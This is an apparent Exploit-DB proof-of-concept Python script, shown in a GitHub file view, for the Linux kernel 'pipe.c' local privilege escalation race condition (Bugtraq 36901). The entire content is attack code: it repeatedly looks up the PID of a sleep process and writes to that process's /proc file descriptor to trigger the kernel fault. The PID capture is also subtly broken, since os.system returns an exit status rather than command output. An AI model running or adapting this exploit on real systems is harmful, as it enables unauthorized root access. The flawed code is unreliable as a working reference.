25 lines
No EOL
1,002 B
Python
Executable file
25 lines
No EOL
1,002 B
Python
Executable file
# This is a PoC based off the PoC release by Earl Chew
|
|
# Linux Kernel 'pipe.c' Local Privilege Escalation Vulnerability
|
|
# PoC by Matthew Bergin
|
|
# Bugtraq ID: 36901
|
|
#
|
|
# E-DB Note: Exploit Update ~ https://github.com/offensive-security/exploit-database/pull/82/files
|
|
|
|
import os
|
|
import time
|
|
import random
|
|
#infinite loop
|
|
i = 0
|
|
x = 0
|
|
while (i == 0):
|
|
os.system("sleep 1")
|
|
while (x == 0):
|
|
time.sleep(random.random()) #random int 0.0-1.0
|
|
pid = str(os.system("ps -efl | grep 'sleep 1' | grep -v grep | { read PID REST ; echo $PID; }"))
|
|
if (pid == "0"): #need an active pid, race condition applies
|
|
print "[+] Didnt grab PID, got: " + pid + " -- Retrying..."
|
|
break
|
|
else:
|
|
print "[+] PID: " + pid
|
|
loc = "echo n > /proc/" + pid + "/fd/1"
|
|
os.system(loc) # triggers the fault, runs via sh |